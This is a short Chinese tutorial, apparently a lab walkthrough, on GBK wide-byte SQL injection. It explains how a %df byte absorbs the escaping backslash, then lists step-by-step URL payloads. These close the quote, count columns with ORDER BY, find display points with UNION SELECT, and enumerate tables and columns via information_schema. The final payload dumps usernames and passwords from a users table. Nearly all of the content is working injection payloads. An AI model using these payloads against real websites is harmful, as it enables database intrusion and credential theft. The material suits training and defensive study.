1、在使用gbk的编码情况下,一个中文占了两个字节;中文的第一个字节加上被转义的特殊字符(\')后,转义符\会被认为是中文的第二个字节,这样单引号'就脱离了转义,形成了宽字节注入;
也就是说,第二个字节可以被利用到;
2、 当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸。汉字 猏,aa5c也可以
?id=1%df'
报错,成功闭合;
3、判断回显字段:这里是3;
大于字段会报错,小于等于字段则正常;
?id=-1%df' order by 4 -- +
?id=-1%df' order by 3 -- +
4、联合查询,判断回显点;
?id=-1%df' union select 1,database(),3--+
5、爆表6、
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 -- +
这个语句没问题,可是'security' 两侧单引号也会被转义,这里使用嵌套查询来逃逸;
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),3--+
6、爆字段
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),3--+
7、爆数据
?id=-1%df' union select 1,(select group_concat(username,0x3a,password) from users),3--+